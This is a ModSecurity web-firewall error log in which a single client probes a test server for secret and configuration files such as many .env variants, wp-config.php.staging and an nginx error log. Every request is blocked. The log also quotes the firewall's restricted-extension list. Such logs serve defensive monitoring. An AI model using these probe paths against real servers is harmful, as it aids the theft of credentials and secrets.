[Thu Jul 10 08:35:49.586125 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developerslv/.env&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4lQAAAAE&quot;]
[Thu Jul 10 08:35:49.694783 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /html/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/html/.env&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4lgAAAAE&quot;]
[Thu Jul 10 08:35:49.695046 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/html/.env&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4lgAAAAE&quot;]
[Thu Jul 10 08:35:49.695232 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/html/.env&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4lgAAAAE&quot;]
[Thu Jul 10 08:35:49.826553 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4mQAAAAE&quot;]
[Thu Jul 10 08:35:49.826784 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4mQAAAAE&quot;]
[Thu Jul 10 08:35:49.826968 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4mQAAAAE&quot;]
[Thu Jul 10 08:35:49.855804 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.staging&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4mgAAAAE&quot;]
[Thu Jul 10 08:35:49.856041 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.staging&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4mgAAAAE&quot;]
[Thu Jul 10 08:35:49.856215 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.staging&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4mgAAAAE&quot;]
[Thu Jul 10 08:35:49.880534 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-compose/platform/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/platform/.env&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4mwAAAAE&quot;]
[Thu Jul 10 08:35:49.880794 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/platform/.env&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4mwAAAAE&quot;]
[Thu Jul 10 08:35:49.880974 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/platform/.env&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4mwAAAAE&quot;]
[Thu Jul 10 08:35:49.903063 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /restapi/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/restapi/.env&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4nAAAAAE&quot;]
[Thu Jul 10 08:35:49.903300 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/restapi/.env&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4nAAAAAE&quot;]
[Thu Jul 10 08:35:49.903480 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/restapi/.env&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4nAAAAAE&quot;]
[Thu Jul 10 08:35:49.925609 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.txt&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.txt&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4nQAAAAE&quot;]
[Thu Jul 10 08:35:49.925846 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.txt&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4nQAAAAE&quot;]
[Thu Jul 10 08:35:49.926054 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.txt&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4nQAAAAE&quot;]
[Thu Jul 10 08:35:49.947918 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_mail&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_mail&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4ngAAAAE&quot;]
[Thu Jul 10 08:35:49.948151 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_mail&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4ngAAAAE&quot;]
[Thu Jul 10 08:35:49.948325 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_mail&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4ngAAAAE&quot;]
[Thu Jul 10 08:35:49.992692 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/nginx/error.log&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4oAAAAAE&quot;]
[Thu Jul 10 08:35:49.993026 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/nginx/error.log&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4oAAAAAE&quot;]
[Thu Jul 10 08:35:49.993188 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/nginx/error.log&quot;] [unique_id &quot;aG9fRW2HUGa5P2sipOw4oAAAAAE&quot;]
[Thu Jul 10 08:35:50.015092 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /protected/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/protected/.env&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4oQAAAAE&quot;]
[Thu Jul 10 08:35:50.015328 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/protected/.env&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4oQAAAAE&quot;]
[Thu Jul 10 08:35:50.015503 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/protected/.env&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4oQAAAAE&quot;]
[Thu Jul 10 08:35:50.037487 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4ogAAAAE&quot;]
[Thu Jul 10 08:35:50.037659 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4ogAAAAE&quot;]
[Thu Jul 10 08:35:50.037887 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4ogAAAAE&quot;]
[Thu Jul 10 08:35:50.038070 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4ogAAAAE&quot;]
